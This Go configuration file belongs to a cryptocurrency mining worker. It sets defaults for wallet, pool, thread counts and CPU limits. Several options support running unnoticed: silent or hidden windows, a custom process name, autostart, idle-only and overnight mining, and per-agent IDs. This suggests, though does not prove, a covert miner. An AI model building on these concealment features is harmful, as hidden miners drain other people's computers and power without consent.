package config

import (
	"runtime"
	"strings"
	"time"
)

const Version = "1.0.0"

type BuiltinConfig struct {
	WorkerName  string
	ServerURL   string
	Wallet      string
	Threads     int
	ThreadMode  string
	ThreadPercent int
	CPUPriority string
	MiningMode  string
	DisplayMode string
	SilentMode  bool
	RunAs       string
	AutoStart   bool
	ProcessName string
	BuildID     string
	BuiltAt     time.Time
	PoolHost    string
	PoolPort    int
	PoolTLS     bool
	PoolPass    string
	MaxCPUUsage int
	MaxMemoryPct int
	MinFreeRAM  int
	IdleThresholdPct    int
	IdleDurationMinutes int
	ScheduleStart       string
	ScheduleEnd         string
}

type RuntimeConfig struct {
	BuiltinConfig
	AgentID string
}

func Load() RuntimeConfig {
	b := GetBuiltinConfig()
	if b.Threads <= 0 {
		b.Threads = 4
	}
	if b.ThreadMode == "" {
		b.ThreadMode = "percent"
	}
	if b.ThreadPercent <= 0 {
		b.ThreadPercent = 75
	}
	if b.CPUPriority == "" {
		b.CPUPriority = "below_normal"
	}
	if b.MiningMode == "" {
		b.MiningMode = "always"
	}
	if b.DisplayMode == "" {
		if b.SilentMode {
			b.DisplayMode = "silent"
		} else {
			b.DisplayMode = "visible"
		}
	}
	if b.ProcessName == "" {
		b.ProcessName = sanitizeProcessName(b.WorkerName)
	}
	if b.MaxCPUUsage <= 0 {
		b.MaxCPUUsage = 80
	}
	if b.MaxMemoryPct <= 0 {
		b.MaxMemoryPct = 70
	}
	if b.MinFreeRAM <= 0 {
		b.MinFreeRAM = 1024
	}
	if b.IdleThresholdPct <= 0 {
		b.IdleThresholdPct = 20
	}
	if b.IdleDurationMinutes <= 0 {
		b.IdleDurationMinutes = 5
	}
	if b.ScheduleStart == "" {
		b.ScheduleStart = "21:00"
	}
	if b.ScheduleEnd == "" {
		b.ScheduleEnd = "06:00"
	}
	return RuntimeConfig{BuiltinConfig: b}
}

func (c RuntimeConfig) EffectiveThreads() int {
	mode := strings.ToLower(c.ThreadMode)
	if mode == "fixed" {
		if c.Threads < 1 {
			return 1
		}
		return c.Threads
	}
	cores := runtime.NumCPU()
	if cores < 1 {
		cores = 1
	}
	pct := c.ThreadPercent
	if pct < 1 {
		pct = 1
	}
	if pct > 100 {
		pct = 100
	}
	threads := int(float64(cores) * float64(pct) / 100.0)
	if threads < 1 {
		threads = 1
	}
	if threads > cores {
		threads = cores
	}
	return threads
}

func (c RuntimeConfig) HideWindow() bool {
	switch strings.ToLower(c.DisplayMode) {
	case "silent", "background":
		return true
	default:
		return c.SilentMode
	}
}

func (c RuntimeConfig) BackgroundMode() bool {
	return strings.ToLower(c.DisplayMode) == "background"
}

func sanitizeProcessName(name string) string {
	name = strings.TrimSpace(name)
	if name == "" {
		return "CryptoMinerWorker"
	}
	replacer := strings.NewReplacer(" ", "", "-", "", "_", "")
	clean := replacer.Replace(name)
	if clean == "" {
		return "CryptoMinerWorker"
	}
	return clean
}